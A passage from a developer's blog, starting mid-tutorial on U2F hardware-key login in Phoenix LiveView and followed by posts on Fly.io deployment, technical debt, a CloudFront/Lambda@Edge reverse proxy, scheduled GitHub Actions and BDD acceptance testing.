mix ecto.gen.migration create_u2f_keys

Open the newly create migration and add the following code to it:

defmodule App.Repo.Migrations.CreateU2fKey do
  use Ecto.Migration

  def change do
    create table(:u2f_keys) do
      add(:public_key, :string)
      add(:key_handle, :string)
      add(:version, :string, size: 10, default: "U2F_V2")
      add(:app_id, :string)

      # Again, change this field to e.g. user_id if you want to
      add(:username, :string)

      timestamps()
    end
  end
end

Now, execute the migration with mix ecto.migrate. This command will create the u2f_keys table in your database.

The Context for the U2F-keys

For fetching and creating U2F-keys, the u2f_ex-library requires us to create a context that implements the U2FEx.PKIStorageBehaviour behaviour, so let's create a pki_storage.ex file and add the following code to it:

# /lib/app/u2f/pki_storage.ex

defmodule App.PKIStorage do
  import Ecto.Query

  alias App.Repo
  alias App.U2FKey

  alias U2FEx.PKIStorageBehaviour

  @behaviour U2FEx.PKIStorageBehaviour

  @impl PKIStorageBehaviour
  def list_key_handles_for_user(username) do
    keys =
      from(u in U2FKey,
        where: u.username == ^username,
        select: map(u, [:version, :key_handle, :app_id])
      )
      |> Repo.all()

    {:ok, keys}
  end

  @impl PKIStorageBehaviour
  def get_public_key_for_user(username, key_handle) do
    from(u in U2FKey,
      where: u.username == ^username and u.key_handle == ^key_handle
    )
    |> Repo.one()
    |> case do
      nil -> {:error, :public_key_not_found}
      %U2FKey{public_key: public_key} -> {:ok, public_key}
    end
  end

  def create_u2f_key(username, %U2FEx.KeyMetadata{} = key_metadata) do
    attrs = Map.merge(Map.from_struct(key_metadata), %{username: username})

    %U2FKey{}
    |> U2FKey.changeset(attrs)
    |> Repo.insert()
  end
end

The PKIStorage-module allows us to fetch the key_handles and the public_key for a user. It also offers a create_u2f_key/2-method to register a new U2F-key for a user. Once again, please change the username parameter to e.g. user_id, if you establish the connection between u2f_key and user differently.

The Templates for Authentication

Let's add a simple template, which offers two forms: One form for registering a U2F-Key and one form for logging in with the U2F-key. For brevity, I put both forms into a single template. Feel free to separate them in your project.

# /lib/app_web/live/page_live.html.leex

# Register a U2F-key using a Phoenix LiveView

  <%= f = form_for :registration, "#", [id: "registration-form", phx_submit: "start_registration", phx_hook: "Registration"] %>
    <%= text_input f, :username, placeholder: "Choose a username..." %>
    <%= submit "Register" %>
  


# Login with a U2F-Key using a Phoenix Controller

  <%= f = form_for :login, "#", [id: "login-form", phx_submit: "start_login", phx_hook: "Login"] %>
    <%= text_input f, :username, placeholder: "Enter your username..." %>
    <%= submit "Login" %>

The forms above allow us to register and log in. Let's create two more templates that show the result of the login attempt.

# /lib/app_web/templates/login/success.html.eex

  Success!
  You're logged in as: <%= @username %>


# /lib/app_web/templates/login/failure.html.eex

  Error!
  Could not log you in:
  <%= @error %>

The LiveView for Authentication

Now, let's get to the interesting parts. First, we need to write a LiveView that handles registering a U2F-device and subsequently logging in with it. I will paste the entire module here first and then discuss its functions:

# /lib/app_web/live/page_live.ex

defmodule AppWeb.PageLive do
  use AppWeb, :live_view

  require Logger

  alias App.{PKIStorage, U2FKey}
  alias U2FEx.KeyMetadata

  @impl true
  def mount(_params, _session, socket) do
    {:ok, socket}
  end

  @impl true
  def handle_event(
        "start_registration",
        %{
          "registration" => %{"username" => username}
        },
        socket
      ) do
    {:ok, %{registerRequests: register_requests}} =
      U2FEx.start_registration(username)

    socket =
      socket
      |> assign(:username, username)
      |> push_event("register", %{registerRequests: register_requests})

    {:noreply, socket}
  end

  @impl true
  def handle_event(
        "finish_registration",
        %{"response" => device_response},
        %{assigns: %{username: username}} = socket
      ) do
    {:ok, %KeyMetadata{} = key_metadata} =
      U2FEx.finish_registration(username, device_response)

    {:ok, %U2FKey{} = key} =
      PKIStorage.create_u2f_key(username, key_metadata)

    {:noreply, put_flash(socket, :success, "Registration successful.")}
  end

  @impl true
  def handle_event(
        "start_login",
        %{
          "login" => %{"username" => username}
        },
        socket
      ) do
    {:ok, %{challenge: challenge, registeredKeys: registered_keys}} =
      U2FEx.start_authentication(username)

    sign_requests = Enum.map(
      registered_keys,
      &Map.merge(&1, %{challenge: challenge})
    )

    socket =
      socket
      |> assign(:username, username)
      |> push_event("login", %{signRequests: sign_requests})

    {:noreply, socket}
  end

  @impl true
  def handle_event(
        "finish_login",
        %{"response" => device_response},
        %{assigns: %{username: username}} = socket
      ) do
    encoded_response = Jason.encode!(device_response)
    U2FEx.finish_authentication(username, encoded_response)
    |> case do
      :ok ->
        token = Phoenix.Token.sign(AppWeb.Endpoint, "username", username)
        callback_path = Routes.login_path(socket, :login, token)
        {:noreply, redirect(socket, to: callback_path)}

      error ->
        Logger.error(inspect(error))
        {:noreply, put_flash(socket, :error, "Login failed.")}
    end
  end
end

The first functions of the LiveView handle the registration of a new U2F-key.

Registering a U2F Device

User can register their U2F-device with a username and call the start_registration-handler. The handler simply passes on the username to the U2FEx-library, which creates a challenge for the U2F-device and returns registration_requests. We assign the currently registering username to the socket and push the registration_requests back to the JavaScript-Hooks, which I will explain later.

Once a user has authorized the U2F-device to answer the registration_requests by pressing a button on the device or touching it, the JavaScript-Hooks will send a finish_registration-event back to the LiveView. The LiveView receives the device response for the presented challenges and passes on the username and device_response to the U2FEx-library. The library verifies the response against the challenge and returns metadata for the U2F-key. We store the metadata in the database by calling the PKIStorage.create_u2f_key/2-function.

The user has now successfully registered a new U2F-device for the given username.

Log in with a U2F Device

The login flow using a U2F-device is similar to the registration flow. A user first sends a login request to the LiveView and provides a username for which a U2F-device was registered previously. We pass the username into the U2FEx.start_authentication/1 function, which fetches the registered U2F-key metadata from the database and creates a login-challenge. We merge every registered_key with the challenge since this is what the JavaScript-library handles the frontend communication requires. Eventually, we push the sign_requests to the JavaScript-Hooks.

Next, the JavaScript-Hooks present the challenge to the U2F-device, the user authorizes the U2F-device to answer the challenge, and eventually the LiveView receives the finish_login-event, which includes the device response. We present the response to the U2FEx-library as encoded json and let the library verify the challenge. If the library returns a success, we know that the user owns the previously registered U2F-device and we can log her in. Unfortunately, we cannot edit the user's session from inside the LiveView. We need to redirect to a Phoenix.Controller instead, which then uses put_session/3, to authenticate the user for subsequent requests. More on this later.

The JavaScript-Hooks for Authentication

Before we write our Hooks, please download the u2f-api.js-library, which handles the communication with the U2F-device in the frontend. Save its code into /assets/js/u2f-api.js.

Now, let's create our LiveView-Hooks. Create the file /assets/js/u2f.js and paste the following code into it:

// /assets/js/u2f.js

import u2fApi from "u2f-api";

const Registration = {
  mounted() {
    this.handleEvent("register", ({ registerRequests }) => {
      u2fApi.register(registerRequests).then((deviceResponse) => {
        this.pushEvent("finish_registration", { response: deviceResponse });
      });
    });
  },
};

const Login = {
  mounted() {
    this.handleEvent("login", ({ signRequests }) => {
      u2fApi.sign(signRequests).then((deviceResponse) => {
        this.pushEvent("finish_login", { response: deviceResponse });
      });
    });
  },
};

export { Registration, Login };

As you can see, the Hooks are minimal. They receive the register and login-events from the LiveView, pass on the challenges to the u2fApi, and push the device response back to the LiveView. For brevity, I left out most of the error handling in the Hooks. Thus, in your project, you probably want to handle any errors in the .then()-callbacks.

Don't forget to add these Hooks to your LiveSocket in app.js:

// /assets/js/app.js

import { Registration, Login } from "./u2f";

var Hooks = {};
Hooks.Registration = Registration;
Hooks.Login = Login;

...

let liveSocket = new LiveSocket("/live", Socket, {
  params: { _csrf_token: csrfToken },
  hooks: Hooks,
});

Authenticating the User in the Phoenix.Session

After user log in successfully, we redirect them from our LiveView to a LoginController in order to modify the users' Plug.Session. Let's recall the code:

U2FEx.finish_authentication(username, encoded_response)
|> case do
  :ok ->
    token = Phoenix.Token.sign(AppWeb.Endpoint, "username", username)
    callback_path = Routes.login_path(socket, :login, token: token)
    {:noreply, redirect(socket, to: callback_path)}
  error ->
    ...

We want to tell the LoginController that the user logged in successfully and use a Phoenix.Token for this purpose. We create a token after the successful login by signing the username with the secret of our AppWeb.Endpoint. We then redirect to the login-callback-route and add the token as a query parameter.

Now, let's have a look at the LoginController, which receives the request:

# /lib/app_web/controller/login_controller.ex

defmodule AppWeb.LoginController do
  use AppWeb, :controller

  def login(conn, %{"token" => token}) do
    Phoenix.Token.verify(AppWeb.Endpoint, "username", token, max_age: 60)
    |> case do
      {:ok, username} ->
        conn
        |> put_session(:username, username)
        |> render( "success.html", username: username)

      {:error, error} ->
        render(conn, "failure.html", error: error)
    end
  end
end

Also, don't forget to add the LoginController to your router.ex:

# /lib/app_web/router.ex

scope "/", AppWeb do
  pipe_through :browser

  live "/", PageLive, :index
  get "/login-callback", LoginController, :login
end

The LoginController receives the callback with the token as a parameter. It then verifies the token with the secret from the AppWeb.Endpoint, a signing salt (username), and a max_age. In our case, the creation and verification of the token should not take longer than the redirect, so we set the max_age to 60 seconds. If you set a higher max_age you risk that an attacker can reuse the token to sign in at a later point in time. Thus, keep the max_age small.

After the controller successfully verifies the token, it puts the username into the user's session and renders the success.html template. On further requests, the user will now provide her username in the session and is therefore fully authenticated. Hurray!

Caveats

The u2f-api.js is archived by now, but I could not find a better library for communicating with my YubiKey. Google recommends using the WebAuthn-API in the future. However, neither Google nor Yubico gives examples of how to integrate with said API. Yubico's tutorials use the u2f-api.js library, which is why I decided to use it for this project also. If you know more about which JavaScript-library to use, please contact me on BlueSky.
In your project, don't use the username for registering a U2F-device, since others can register a U2F-device for usernames of others as well. Use a user_id instead.
Be aware that you leak the user_id to the user's browser if you use Phoenix.Token since the tokens are not encrypted. If this is a security issue for you, consider encrypting the user_id before redirecting the user to the login-callback.

How to deploy a Phoenix project with Fly.io

2021-04-11T05:01:35Z

José Valim recently tweeted about the Liveview-Cluster project, which showcased how state can be shared among a global cluster of Elixir nodes.

I found this project impressive, because the global state (a simple counter) was shared by 17 machines all around the globe. What I found even more impressive was Fly.io, their server provider. It allowed them to deploy machines in 17 different regions with relative ease.

I tried out Fly.io recently and would like to share how to get started with it. I will create a new Phoenix project, upload it to fly.io as a Docker image, and provision the application with a Postgres instance. Let's get started!

Creating the application

First, let's create a new Phoenix application with:

mix phx.new my_app --live

This will create a basic Phoenix LiveView project with a database connection using Ecto. We want to run the database migration every time the application starts. Since we will create a Mix Release for the application, we cannot use mix for migrating the database. The recommended solution is to create a custom Release module, which takes care of migrating the repo.

Create a /lib/my_app/release.ex file and copy the following code into it:

defmodule MyApp.Release do
  @app :my_app

  def migrate do
    load_app()

    for repo <- repos() do
      {:ok, _, _} =
        Ecto.Migrator.with_repo(
          repo,
          &Ecto.Migrator.run(&1, :up, all: true)
        )
    end
  end

  def rollback(repo, version) do
    load_app()

    {:ok, _, _} =
      Ecto.Migrator.with_repo(
        repo,
        &Ecto.Migrator.run(&1, :down, to: version)
      )
  end

  defp repos do
    Application.fetch_env!(@app, :ecto_repos)
  end

  defp load_app do
    Application.load(@app)
  end
end

Now, whenever we want to migrate the database, we can call MyApp.Release.migrate() instead of mix ecto.setup. We will use this in the following section when we start our Docker image.

As the last step, we need to configure our application with a /config/release.exs file. This allows us to read the environment variables when the application is started (at runtime) instead of when the Docker image is built (at compile time).

Create a /config/release.exs file and copy the following code into it:

import Config

secret_key_base =
  System.get_env("SECRET_KEY_BASE") ||
    raise """
    environment variable SECRET_KEY_BASE is missing.
    You can generate one by calling: mix phx.gen.secret
    """

app_name =
  System.get_env("FLY_APP_NAME") ||
    raise "FLY_APP_NAME not available"

database_url =
  System.get_env("DATABASE_URL") ||
    raise """
    environment variable DATABASE_URL is missing.
    For example: ecto://USER:PASS@HOST/DATABASE
    """

config :my_app, MyApp.Repo,
  url: database_url,
  # DON'T FORGET THE FOLLOWING LINE
  socket_options: [:inet6],
  pool_size: String.to_integer(System.get_env("POOL_SIZE") || "10")

config :my_app, MyAppWeb.Endpoint,
  server: true,
  secret_key_base: secret_key_base,
  load_from_system_env: true,
  http: [port: {:system, "PORT"}],
  url: [scheme: "https", host: "#{app_name}.fly.dev", port: 443],
  force_ssl: [rewrite_on: [:x_forwarded_proto]],
  cache_static_manifest: "priv/static/cache_manifest.json"

# Do not include metadata nor timestamps in development logs
config :logger, :console, format: "[$level] $message\n"

Make sure that you defined the socket_options: [:inet6] option for your Repo. Otherwise, your repo won't be able to talk to the provisioned Postgres instance, which requires a connection via IPv6. This info was brought to you by a very kind engineer at fly.io.

The Docker setup

Fly.io only supports deploying Docker images as of now. We need to create a Dockerfile to build and deploy a Docker image with our application inside of it.

Create a Dockerfile and copy the following code into it:

# Stage 1: Build a Mix.Release of the application (image size: ~750mb)
FROM bitwalker/alpine-elixir-phoenix:latest AS phx-builder

WORKDIR /app

# These two environment variables will be overwritten when the application is started.
# They are needed here to satisfy the env-variable checks in `prod.secret.exs`
ENV SECRET_KEY_BASE=nokey
ENV DATABASE_URL=nodb

# If you set the PORT to 4000, you need to change it in the fly.toml as well.
ENV PORT=4000
ENV MIX_ENV=prod

# Cache elixir deps
ADD mix.exs mix.lock ./
RUN mix do deps.get --only prod, deps.compile

# Cache npm deps
ADD assets/package.json assets/
RUN npm install --prefix assets

# Copy all local files to the build context
# Ignores the ones specified in .dockerignore
ADD . .

# Run frontend build, compile, and digest assets
RUN npm run --prefix assets deploy
RUN mix do compile, phx.digest

# Create a Mix.Release of the application
RUN mix release

# Stage 2: Create a smaller deployment image (image size: ~98mb)
FROM bitwalker/alpine-elixir:latest

# Make sure that this PORT is equal to the one above
# and to the one in fly.toml
ENV PORT=4000
ENV MIX_ENV=prod

WORKDIR /app

# Create a unprivileged user to run the app
#
# This is a common security practice to avoid
# giving root permissions to the application which attackers
# could potentially abuse if they gain access to the application.
ENV USER="phoenix"
ENV HOME=/home/"${USER}"
ENV APP_DIR="${HOME}/app"
RUN \
  addgroup \
  -g 1000 \
  -S "${USER}" && \
  adduser \
  -s /bin/sh \
  -u 1000 \
  -G "${USER}" \
  -h "${HOME}" \
  -D "${USER}" && \
  su "${USER}" sh -c "mkdir ${APP_DIR}"

# Copy the files necessary to run the application
COPY --from=phx-builder --chown="${USER}":"${USER}" /app/_build/prod/rel/my_app ./
COPY --from=phx-builder --chown="${USER}":"${USER}" /app/entrypoint.sh ./

# Define the entrypoint and the command it should execute
ENTRYPOINT ["/app/entrypoint.sh"]
CMD ["bin/my_app", "start"]

This Dockerfile defines a multi-stage build process and creates a Mix.Release of the application. Alex Koutmos wrote about this topic in great depth. I recommend reading his fabulous blog post to learn more about it.

To speed up the build process you can define the following rules in your .dockerignore file. They will prevent Docker from uploading the specified folders to the build context.

assets/node_modules
_build
deps
test
mix.lock
package-lock.json

The last step is to create an entrypoint.sh script, which migrates our database and starts our application.

Create a entrypoint.sh file and copy the following code into it:

#!/bin/bash
# Docker entrypoint script.

/app/bin/my_app eval "MyApp.Release.migrate"

exec $@

We use Mix.Release's eval command to run the migrate function of our MyApp.Release module. This will migrate the database for us. We don't need to create the database first since fly.io will take care of that for us.

Deploying to fly.io

We created an application and configured our Docker build process. Now, it's time to let our application fly.io (Badumm, tsssss).

If you haven't already, please install the flyctl command line interface and sign up or log in to your fly.io account.

# To sign up
flyctl auth signup

# To log in
flyctl auth login

Now that you are logged in, let's first provision our app with a postgres instance. In order to create a new postgres cluster, run:

flyctl postgres create

This command will ask you a few questions. I added example answers below:

? App name: my-app-postgres
Automatically selected personal organization: Your Name
? Select region: fra (Frankfurt, Germany)
? Select VM size: shared-cpu-**1x** - 256
? Volume size (GB): 10
Creating postgres cluster my-app-postgres in organization personal
Postgres cluster my-app-postgres created
  Username:    postgres
  Password:    BASE64-PASSWORD-HERE
  Hostname:    my-app-postgres.internal
  Proxy Port:  5432
  PG Port: 5433
Save your credentials in a secure place,
you will not be able to see them again!

Monitoring Deployment

2 desired, 2 placed, 2 healthy, 0 unhealthy
[health checks: 6 total, 6 passing]
--> v0 deployed successfully

Connect to postgres
Any app within the personal organization can connect to postgres using the
above credentials and the hostname "my-app-postgres.internal."
For example:
postgres://postgres:BASE64-PASSWORD-HERE@my-app-postgres.internal:5432

We received the DATABASE_URL in the last section here. Normally, we would need to set it manually for our application, but don't worry since we will let fly.io set this environment variable automatically.

Next, let's create an app on fly.io.:

# This will generate a random app name
flyctl launch

# To set the app name yourself, run:
flyctl launch --name my-app

If you run the above command, you can choose a region for the app. Don't worry. You can always change and add regions afterward. For now, select a region close to you.

This will create the fly.toml file, which configures the deployment to fly.io.

app = "my-app"

kill_signal = "SIGINT"
kill_timeout = 5

# DON'T FORGET THE FOLLOWING 2 LINES
# OTHERWISE YOUR REPO WON'T CONNECT TO POSTGRES
[experimental]
  private_network=true

[[services]]
  internal_port = 4000
  protocol = "tcp"

  [services.concurrency]
    hard_limit = 25
    soft_limit = 20

  [[services.ports]]
    handlers = ["http"]
    port = "80"

  [[services.ports]]
    handlers = ["tls", "http"]
    port = "443"

  [[services.tcp_checks]]
    grace_period = "1s"
    interval = "15s"
    port = "4000"
    restart_limit = 6
    timeout = "2s"

Before we deploy the first version of our application, we must not forget to attach the Postgres database to the application:

flyctl postgres attach --postgres-app my-app-postgres

This will add the DATABASE_URL environment variable to your application.

Finally, let's deploy the application with:

flyctl deploy

This command will build, upload, and start the Docker container of your application. It might take a minute or two.

After the deployment process is done, you should be able to access your application at my-app.fly.dev. If not, please don't hesitate to contact the folks at fly.io either on their community board, or me on BlueSky.

Your product is not only your "product

2021-04-06T05:01:35Z

What comes to mind when you describe "your product"? Do you think about features built for your customers? How it solves a problem your customers have? Maybe even a logo, a slogan, or its theme color?

These aspects describe your product's business side and value proposition. However, they fail to mention the foundation of your product: its software.

The reason you might have forgotten about the software part lies in the fact that product development tends to revolve around the central question:

Which feature should we build next?

Answering this question is undoubtedly a critical step in product development. It justifies the need for a product and its development and is the bedrock of job security for everyone involved. Therefore, the most attention and perceived value lie on the business side of the product. Unfortunately, this causes the software and its maintenance to become nothing more than a by-product.

Think about the last time you worked on a purely technical ticket, the last time you spend most of a sprint cleaning up the codebase or restructuring your architecture. In short: Paying off your technical debt. If you did this just recently: Good for you. I mean it. If not: This is sadly more common than you might think, and it is a problem.

Ignoring the technical side of a product means neglecting its foundation, and the risk of an eventual collapse increases. The demise might start with a loss in agility or development speed. The pace with which you build new features will slow until it comes to a screeching halt. Bugs will occur more often and will become more severe until you spend most of your time fire fighting. Your stakeholders will become first concerned, then annoyed, and eventually: angry. Your once-happy customers will become less so and eventually will leave if they can.

If you want to avoid this scenario, you have to start including the technical side into the definition of "your product". In other industries, this is already common practice. Think about what makes a car a good car. It probably will be its engine and other mechanical parts, which allow its low maintenance, low consumption, and that it doesn't break down, ever. Carmakers know this and focus actively on maintaining and improving the technical side of their product as well. We need to adopt this perspective in software development too. The first step in this direction is to realize that:

Your product is not only your "product"

"Your product" is not only a set of features and the problem it solves. It also includes its codebase, its architecture, its dependencies, and its technical debt. Once you acknowledge this, you need to adapt your workflow to incorporate this shift of perspective. Here are a few tips:

Minimize piggybacking tasks to reduce your technical debt on feature tickets. Don't make technical work like clean up the codebase part of developing new features.
Move technical work to purely technical tickets like tasks or chores.
1. Estimate and prioritize these tickets in your backlog.
2. Don't make them inferior to feature tickets. Technical and feature tickets are equals from now on.
Plan your sprint with both technical and feature tickets. You decide about their ratio, but don't hesitate to have purely technical sprints if you feel like the technical debt overwhelms you.
Consider adding a timebox to every sprint for technical tasks that are too small for their own ticket.

The depreciation of technical work has led to many battles between "business" and "technical" people. Typically, developers try to get a time or financial budget for reducing the technical debt, but the "business people" reject them since they don't see the value in such work. I hope that this opinion piece convinced you to change your perspective on this issue.

How to set up a Reverse Proxy with CloudFront, Lambda@Edge and Phoenix

2020-05-26T11:01:35Z

My team at Studitemps and I ran into the problem that we had multiple services, which needed to be served from the same URL. We had one service running the Elixir + Phoenix stack that we considered our “main service”. This service should be accessible under an URL like https://example.com. We also had another service serving our content, which we wanted to integrate into the navigation bar of our main service. We wanted the content service to be accessible under e.g. https://example.com/content.

Setting up CloudFront and Lambda@Edge

We decided on using AWS CloudFront to route the requests to the appropriate services. In order to do that, we first needed to create two Origins, one forwarding any request to our main service and one to the content service. These were our settings for the Origin of our main service. The settings for the content service where exactly the same except for the Origin Domain Name and Origin ID.

In order to route the requests to the appropriate services, we set up two Behaviors. One behavior would forward any requests containing the /content path to the content service and the other requests would be forwarded to our main service by default. This were our settings for the /content behavior:

Next, we wanted to remove the /content-path from the request since the routes of our content service didn’t include the /content part of the path. For example, the post-route of our content service was available at /post/my-first-post and not /content/post/my-first-post. Therefore, we had to remove the /content part of the request URL. We decided on using a Lambda@Edge function for this.

First, we created a Node.js 12.x Lambda-Function “from scratch”. We needed to make sure that the function had all the right permissions in order to be triggered by the CloudFront-Behavior. Therefore, we used the Basic Lambda@Edge permissions (for CloudFront Trigger) Policy Template, which predefines all the necessary permissions.

We based the code for the function on this informative StackOverflow post. It uses the JavaScript replace() function to remove the /content-path.

'use strict';

exports.handler = (event, context, callback) => {
    const request = event.Records[0].cf.request;
    request.uri = request.uri.replace(/\/content/,'/');
    return callback(null, request);
};

This function retrieves the request object from the event, removes the /content-part of the request uri and returns the updated request to CloudFront for further handling.

Once we saved the code, we deployed the function Lambda@Edge. Under the menu “Actions”, we chose “Deploy to Lambda@Edge” and entered the following information:

After deploying the Lambda-function, CloudFront would roll out the new distribution to all instances within 5–10min. Once the roll-out succeeded, our services were accessible under https://example.com and https://example.com/content respectively.

Setting up Phoenix

After we accessed our content service, we had the problem that our static content including the *.css and *.js files wasn’t loaded properly anymore. The problem was that the URLs generated by Phoenix did not include the /content path. So, the URLs to our static files were e.g. https://example.com/js/app.js instead of https://example.com/content/js/app.js.

Being the well-written framework that Phoenix is, changing how routes were generated took a single configuration in the Plug.Endpoint. We added the path: "/content" setting to our AppWeb.Endpoint configuration.

# config/prod.exs
config :app, AppWeb.Endpoint,
  url: [
    scheme: "https",
    host: "example.com",
    port: 443,
    path: "/content"
  ]

Once deployed, Phoenix would generate routes prefixed with the /content-path. Since the static_url setting falls back to the url setting, our static files were now also accessible under e.g. https://example.com/content/js/app.js.

One caveat was though that we make sure to always use the conn instead of AppWeb.Endpoint when generating routes, e.g. Routes.index_path(@conn, :index) since otherwise the /content-prefix would not be included in the URL. Also, the Plug.Static setting in the endpoint.ex should not be changed since the static files must still be served under "/" and not "/content".

Conclusion

Setting up a reverse proxy with CloudFront, Lambda@Edge and a Elixir + Phoenix stack was not straight forward and a lot of trial-and-error if you do it for the first time (and don’t feel like reading 1000 pages of AWS documentation). But once you’ve managed, you can offer all your services through a single domain and specify to which service traffic should be forwarded based on a path. Since we plan on adding more services in the future, we are positive that this solution will help us integrate the new services seamlessly.

How to set up reoccurring jobs with GitHub Actions

2020-05-26T11:01:35Z

In a personal project of mine, I regularly fetched data collected by bicycle counting stations scattered around Cologne, Germany, and stored the data in a public GitHub repository. I ran the Python script which was fetching, appending, and uploading the data to GitHub manually for a while, but since I (am lazy and) wanted to always offer the latest data, I thought about how I could automate this process. Here’s how I accomplished running the reoccurring process with GitHub Actions.

At first, I thought about using the popular Oban library written in Elixir to run a reoccurring job, but every time the job would have been run, I would have to clone the repository, fetch the data, commit the changes and push everything to GitHub using a personal access token. Since I could not use git commands directly from Elixir, I would also have to use a wrapper library like Xgit. This seemed way too complicated and the friendly Elixir community pointed me towards using scheduled GitHub Actions.

In short: GitHub Actions are jobs, scripts, or routines which GitHub runs for you whenever a predefined event occurs. Most people use GitHub Actions to automate their Continuous Integration (CI) pipeline using push or pull_request triggers. This means that whenever somebody pushes changes to a GitHub repository or opens a Pull Request, the GitHub Action is executed, mostly to run some tests or to upload the latest version to a package manager. What I was unaware of was the multitude of triggers that can cause a GitHub Action to be run.

In my case, the scheduled trigger seemed most interesting. It can be set up using (relatively) simple cron syntax, which would let me trigger a GitHub Action once a day to fetch and update the data. Long story short, here’s my GitHub Action workflow, which I shortened a bit from the original, but it essentially achieves the same goal.

name: Update data

on:
  schedule:
    - cron: "0 5 * * *"

jobs:
  execute:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v2

      - name: Update local files
        run: python3 fetch_current_data.py

      - name: Commit files
        run: |
          git config --local user.email "your@email.com"
          git config --local user.name "GitHub Action"
          git commit -m "Update data" -a

      - name: Push changes
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}

This workflow is executed every day roughly at 5 am, give or take 15min since GitHub Actions aren’t run exactly on time. It clones the repository to its machine and executes a python script that fetches and appends the latest counts to local files holding the historical data. It then uses the GitHub Push Action to automatically commit and push the latest counter data back to the master branch of my GitHub repository.

Using this GitHub Action, I could safely forget about running the Python script manually every day and it would automatically fetch and upload the latest data. So, if you also want to safely forget about things, use GitHub Actions.

Caveats

As mentioned before, the Action is not executed exactly on time, but with a delay of up to 15min in my experience. This means, that you shouldn’t use scheduled GitHub Actions for reoccurring jobs which are time-sensitive.

I was not able to reproduce this since, but the GitHub Action could execute twice, so make sure that your job is idempotent or no-op on the second run. This means that you should be able to run your job multiple times and always receive the expected result. I achieved this by storing the latest date for which I fetched the data. Now, whenever the job was run again for the same date, it would finish without changing any data.

Conclusion

It took me a day to research this possibility, but only around 1 hour to set up this GitHub Action, so GitHub Actions have convinced me once more of their ease-to-use and practicality. I hope this helped you further as well!

From Business Requirements to Production Code

2020-04-24T11:01:35Z

Here at Studitemps, we have to comply with many rules and regulations that we have to be certain are followed by our software as well. These business requirements have to be poured into production code 1-to-1. Otherwise, we risk losing our students, customers, and at worst, our license.
Therefore, we have to make sure that our software behaves in certain ways. We have developed a process of extracting and implementing business requirements and to make sure that our software will always operate as needed, even when we develop our software further.

The Interview

Before we can implement business requirements, we have to understand exactly what they are. For that, we interview our stakeholders about their needs. Talks like this tend to start with a concrete solution idea with which the stakeholder comes into the meeting. The goal of the interview is however to first understand the problem that we need to solve and only then are we brainstorming about potential solution ideas.

We took this approach from Domain-driven Design in which one should first explore and understand the problem space, before moving on to the solution space, in which solutions to the problem are developed. This approach has the advantage to engage every team member in the problem-solving process. If every member understands the problem the team is likely to develop many more and better suited solutions to the problem since the team members can employ their unique experience and background to find good solutions.

While interviewing the stakeholders, we tend to use a mix of open-ended and closed-ended questions. Open-ended questions leave room for elaboration and mostly start with “Why”, “What”, or “How”. They are useful to gain an overview of the problem and to let the stakeholders explain in great detail what they need. If we believe that we have understood the problem, we use closed-ended questions, to verify our understanding. We use closed-ended questions only seldomly however since a simple “yes” or “no” from the stakeholders risks losing a lot of information about how much the stakeholders agree or disagree with a statement. We try to use estimations instead, like “From 1 to 10, how much do you agree with this statement?”.

Another principle of Domain-driven Design that we employ is Ubiquitous Language. It is hard enough to develop a shared understanding of a problem but it becomes much harder, if different words are used for the same thing. Therefore, we try to establish a common terminology that everybody adheres to. This language should also be specific rather than general. Whereas “personal data” can mean lots of things, “contact information” is already much more specific.

Acceptance Criteria

After we have established what the problem is and how we are going to solve it, we write a specific acceptance criterion that helps us verify or refute that our system behaves in a way that was agreed upon with the stakeholders. The criterion is written without code, but in the language shared with the stakeholders. In our case, this means writing the criteria, tests and even the code itself in German since all communication with stakeholders and within the team is in German. Therefore we opted to use the same terms and language on all levels of the development process.

An acceptance criterion can be rather trivial like “A user can create an account”, to very specific like “The wage bonus of hours worked on Sundays is exempt from taxation.” The purpose of acceptance criteria for us is to specify a behavior that the system has to show and to share that understanding with everybody involved. This approach is directly taken from Behavior-driven Development which focuses on “what” the system does instead of “how” it does it. Prioritizing the “what” over the “how” weakens the fallacy of letting personal interests influence what is built. If one is interested in the latest framework, which everybody talks about, user stories that might involve implementing this framework become magically much more interesting. However, the main goal is to fulfill the needs of the stakeholders and not one’s interest in technical advancements.

Feature Specification

Once the acceptance criteria are defined, we move to the technical realm and write our first high-level test. To make sure that the system’s behavior follows the business requirements closely, we write a feature specification first, typically using Gherkin syntax. For example:

Scenario: Taxation of Wage Bonus
          Given an employee has worked on a Sunday
          And has received a wage bonus for that work
          When the taxation for that work is calculated
          Then the wage bonus is exempt from taxation

We make sure that we don’t use technical terms in our specification. Steps like “The user clicks the ‘Register’ button” are dependent on the current state of the system. Once that state changes (e.g. the “Register” button is renamed to “Sign-Up”), we would need to adjust our specifications to reflect that change. A more change-resistant option would be: “The user creates a new account.” We like our high-level tests to be long-lived and independent of the implementation so that the behavior of the system is always checked in the same way.

Acceptance Test

Once the expected behavior is defined with a feature specification, we start writing acceptance tests. Whereas acceptance tests can be written on any testing level (i.e. e2e, integration or unit), we like them to be the most high-level automated tests we have in our system. Since acceptance criteria are checked against the system as a whole, it made sense to us to write automated tests that operate on the same level of abstraction.

We try to optimise the acceptance test for readability and to keep every test step as concise as possible. Most functionality is wrapped by helper functions whose function names give an explicit description of what the wrapped code is supposed to do. When the purpose of code is kept implicit, its purpose becomes an assumption, which varies with every developer who reads the code. By making the purpose explicit, the developer has a clear statement of purpose and can verify or refute whether the code is fulfilling its purpose against that statement. Let’s look at an example. The following code checks the last step of our feature specification. Please read it and be aware of how long it takes you to deduct the purpose of the code.

defthen “the wage bonus is exempt from taxation”, %{session: session} do
    session
    |> visit(“/pay”)
    |> fill_in(fillable_field(“username”), text: “test-account”)
    |> fill_in(fillable_field(“password”), text: “test-password”)
    |> click(button(“Login”))
    |> click(button(“Payslips”))
    |> click(link(“01.11. - 30.11.2019”))
    |> find(css(“#wage-bonus-taxation”))
    |> assert_text(“0.00”)
end

The test code exposes a lot of details of how it asserts that the taxation is equal to 0.00. To understand it, you have to have a mental model of how the UI looks like. For example, did you notice that the test navigated to the “Payslips” tab and opened the payslip of last month given that this article was written in December 2019? The only critical line in this test is the line assert_text(“0.00”) since right here we test the behavior of the system of how to calculate the wage tax. Let’s look at the same test again, this time written with helper functions, which encapsulate most of the logic.

defthen “the wage bonus is exempt from taxation”, %{session: session} do
    session
    |> open_payslip_of_last_month()
    |> assert_that_wage_bonus_taxation_is_zero()
end

